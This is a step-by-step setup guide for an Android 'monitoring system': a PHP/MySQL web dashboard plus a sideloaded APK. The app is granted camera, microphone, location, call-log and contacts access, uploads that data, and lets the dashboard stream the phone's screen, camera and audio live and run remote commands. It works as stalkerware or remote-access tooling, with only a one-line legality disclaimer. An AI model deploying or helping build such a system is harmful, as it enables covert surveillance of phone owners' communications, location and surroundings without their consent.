# Complete Setup Instructions for Android Monitoring System

## 📋 OVERVIEW
This guide provides step-by-step instructions for:
1. Setting up the web server on shared hosting
2. Creating the correct file structure
3. Configuring the database
4. Building the Android APK
5. Connecting the Android app to your web dashboard

## 🌐 PART 1: SHARED HOSTING SETUP

### Step 1: Prepare Your Hosting Account
- Ensure your hosting supports:
  - PHP 7.4 or higher
  - MySQL 5.7 or higher
  - File uploads (at least 50MB)
  - SSL certificate (recommended)

### Step 2: Create Database
1. Login to your hosting control panel (cPanel/Plesk)
2. Go to "MySQL Databases" or "Database Management"
3. Create a new database named: `monitoring_db`
4. Create a database user with full privileges
5. Note down: Database name, username, password, and host (usually localhost)

### Step 3: Upload Files to Web Server

#### File Structure on Your Server:
```
your-domain.com/
├── php/
│   ├── config/
│   │   └── database.php
│   ├── upload.php
│   ├── get_commands.php
│   ├── send_command.php
│   ├── auth.php
│   └── api.php
├── dashboard/
│   ├── index.html
│   ├── styles.css
│   └── script.js
├── uploads/
│   └── (this folder will be created automatically)
└── database/
    └── schema.sql
```

#### Upload Process:
1. **Create folders** on your server:
   - `/php/config/`
   - `/dashboard/`
   - `/uploads/` (set permissions to 755)
   - `/database/`

2. **Upload PHP files**:
   - Upload all files from `php/` folder to your server's `/php/` directory
   - Upload all files from `dashboard/` folder to your server's `/dashboard/` directory
   - Upload `database/schema.sql` to your server's `/database/` directory

3. **Set file permissions**:
   ```
   uploads/ folder: 755 (read/write/execute)
   php/config/database.php: 644 (read/write for owner, read for others)
   All other files: 644
   ```

### Step 4: Configure Database Connection

Edit `/php/config/database.php` with your hosting details:

```php
<?php
// Database configuration - UPDATE THESE VALUES
define('DB_HOST', 'localhost');                    // Usually localhost
define('DB_NAME', 'monitoring_db');                // Your database name
define('DB_USER', 'your_db_username');             // Your database username
define('DB_PASS', 'your_db_password');             // Your database password
define('DB_CHARSET', 'utf8mb4');

// Security settings - CHANGE THESE!
define('API_KEY', 'your_secret_api_key_here');     // Change this!
define('ENCRYPTION_KEY', 'your_encryption_key');   // Change this!

// File upload settings
define('UPLOAD_DIR', 'uploads/');
define('MAX_FILE_SIZE', 50 * 1024 * 1024); // 50MB
define('ALLOWED_IMAGE_TYPES', ['jpg', 'jpeg', 'png', 'gif']);
define('ALLOWED_VIDEO_TYPES', ['mp4', 'avi', 'mkv', 'mov']);
define('ALLOWED_AUDIO_TYPES', ['mp3', 'wav', 'm4a', 'aac']);

// Dashboard settings - CHANGE THIS PASSWORD!
define('DASHBOARD_PASSWORD', 'your_secure_password'); // Change this!
define('SESSION_TIMEOUT', 3600); // 1 hour

// Live streaming settings
define('LIVE_SCREEN_INTERVAL', 5); // seconds
define('LIVE_CAMERA_INTERVAL', 5); // seconds
define('LIVE_AUDIO_INTERVAL', 10); // seconds
define('LIVE_AUDIO_CLIP_DURATION', 5); // seconds

// Rest of the file remains the same...
```

### Step 5: Import Database Schema

1. Go to your hosting control panel
2. Open "phpMyAdmin" or "Database Management"
3. Select your `monitoring_db` database
4. Go to "Import" tab
5. Upload the `database/schema.sql` file
6. Click "Go" to import

### Step 6: Test Your Setup

1. **Test database connection**:
   Create a file called `test_db.php` in your root directory:
   ```php
   <?php
   require_once 'php/config/database.php';
   
   $pdo = getDatabaseConnection();
   if ($pdo) {
       echo "✅ Database connection successful!";
   } else {
       echo "❌ Database connection failed!";
   }
   ?>
   ```
   Visit: `https://your-domain.com/test_db.php`

2. **Test dashboard access**:
   Visit: `https://your-domain.com/dashboard/`
   - Should show login page
   - Login with the password you set in `DASHBOARD_PASSWORD`

3. **Test API endpoints**:
   Visit: `https://your-domain.com/php/api.php?action=devices`
   - Should return JSON data (may be empty initially)

### Step 7: Security Configuration

1. **Enable HTTPS** (if not already enabled)
2. **Change all default passwords** in `database.php`
3. **Set up .htaccess protection** (optional):
   Create `.htaccess` in dashboard folder:
   ```apache
   AuthType Basic
   AuthName "Restricted Access"
   AuthUserFile /path/to/.htpasswd
   Require valid-user
   ```

## 📱 PART 2: ANDROID APK BUILDING

### Prerequisites
- Android Studio installed
- Java Development Kit (JDK) 8 or higher
- Android SDK configured

### Step 1: Prepare Android Project

1. **Open Android Studio**
2. **Import the project**:
   - File → Open
   - Navigate to `/android/` folder
   - Select the folder and click "OK"

### Step 2: Configure Server URL

1. **Open** `android/app/src/main/java/com/monitoring/app/MainActivity.kt`
2. **Find this line** (around line 50):
   ```kotlin
   serverUrlEditText.setText("https://your-server.com/monitoring/")
   ```
3. **Replace with your actual server URL**:
   ```kotlin
   serverUrlEditText.setText("https://your-domain.com/php/")
   ```

### Step 3: Update API Key (Important!)

1. **Open** `android/app/src/main/java/com/monitoring/app/network/HttpClient.kt`
2. **Find this line** (around line 30):
   ```kotlin
   private const val API_KEY = "monitoring_key_2024" // Change this in production
   ```
3. **Replace with the same API_KEY you set in PHP**:
   ```kotlin
   private const val API_KEY = "your_secret_api_key_here"
   ```

### Step 4: Build APK

#### Method 1: Build APK (Recommended)
1. In Android Studio: **Build → Build Bundle(s) / APK(s) → Build APK(s)**
2. Wait for build to complete
3. Click "locate" in the notification
4. APK will be in: `android/app/build/outputs/apk/debug/app-debug.apk`

#### Method 2: Generate Signed APK (For Production)
1. **Build → Generate Signed Bundle / APK**
2. Choose "APK"
3. Create new keystore or use existing
4. Fill in details and build
5. APK will be in: `android/app/build/outputs/apk/release/app-release.apk`

### Step 5: Install APK

1. **Transfer APK to Android device**:
   - USB cable
   - Email attachment
   - Cloud storage
   - ADB install: `adb install app-debug.apk`

2. **Enable Unknown Sources**:
   - Settings → Security → Unknown Sources (enable)
   - Or Settings → Apps → Special Access → Install Unknown Apps

3. **Install APK**:
   - Open APK file on device
   - Follow installation prompts

## 🔗 PART 3: CONNECTING ANDROID TO WEB DASHBOARD

### Step 1: Configure Android App

1. **Open the monitoring app** on Android device
2. **Enter server URL**: `https://your-domain.com/php/`
3. **Grant all permissions** when prompted:
   - Camera
   - Microphone
   - Location (Fine and Coarse)
   - Storage (Read/Write)
   - Call Log
   - Contacts
   - Phone State
   - Vibration

### Step 2: Start Monitoring

1. **Tap "Start Monitoring"**
2. **App will show as foreground service**
3. **Device should appear in dashboard** within 30 seconds

### Step 3: Test Dashboard

1. **Open dashboard**: `https://your-domain.com/dashboard/`
2. **Login with your password**
3. **Go to "Devices" tab** - should see your device
4. **Go to "Remote Control" tab** - select your device
5. **Test commands**:
   - Vibrate device
   - Start live screen stream
   - Start live camera stream
   - Start live audio stream

## 🧪 PART 4: TESTING & VERIFICATION

### Test Checklist

#### Web Server Tests:
- [ ] Dashboard loads and login works
- [ ] Database connection successful
- [ ] API endpoints respond correctly
- [ ] File uploads work (test with small file)

#### Android App Tests:
- [ ] App installs successfully
- [ ] All permissions granted
- [ ] App connects to server
- [ ] Device appears in dashboard
- [ ] Call logs are uploaded
- [ ] Location tracking works
- [ ] Media monitoring works
- [ ] Remote commands execute

#### Live Streaming Tests:
- [ ] Screen streaming starts/stops
- [ ] Camera streaming works (front/back)
- [ ] Audio streaming records and uploads
- [ ] Live views update in dashboard

### Troubleshooting

#### Common Issues:

1. **"Database connection failed"**:
   - Check database credentials in `database.php`
   - Verify database exists and user has permissions
   - Check if MySQL service is running

2. **"Authentication failed"**:
   - Ensure API_KEY matches in both Android app and PHP config
   - Check device ID generation

3. **"App not connecting"**:
   - Verify server URL is correct
   - Check if HTTPS is working
   - Test API endpoints manually

4. **"Upload failed"**:
   - Check uploads folder permissions (755)
   - Verify file size limits
   - Check PHP upload settings

5. **"Dashboard not loading"**:
   - Check file permissions
   - Verify all files uploaded correctly
   - Check for PHP errors in hosting logs

## 📋 FINAL CHECKLIST

### Before Going Live:
- [ ] Changed all default passwords
- [ ] Enabled HTTPS/SSL
- [ ] Set proper file permissions
- [ ] Tested all functionality
- [ ] Configured backup procedures
- [ ] Set up monitoring/logging

### Security Reminders:
- [ ] Use strong passwords
- [ ] Enable HTTPS
- [ ] Regular security updates
- [ ] Monitor access logs
- [ ] Backup database regularly

## 📞 SUPPORT

If you encounter issues:
1. Check error logs in hosting control panel
2. Verify all configuration settings
3. Test each component individually
4. Review troubleshooting section above

## 🎯 QUICK REFERENCE

### Important URLs:
- Dashboard: `https://your-domain.com/dashboard/`
- API Base: `https://your-domain.com/php/`
- Test DB: `https://your-domain.com/test_db.php`

### Key Files to Edit:
- `php/config/database.php` - Database and security settings
- `MainActivity.kt` - Server URL in Android app
- `HttpClient.kt` - API key in Android app

### Default Credentials (CHANGE THESE!):
- Dashboard Password: `admin123`
- API Key: `monitoring_key_2024`
- Encryption Key: `monitoring_secret_key_2024`

---

**⚠️ IMPORTANT**: This system is for authorized monitoring only. Ensure compliance with applicable laws and regulations.

**🔒 SECURITY**: Change all default passwords and enable HTTPS before use.

**📱 COMPATIBILITY**: Requires Android 7.0+ and modern web browser.

---

End of Instructions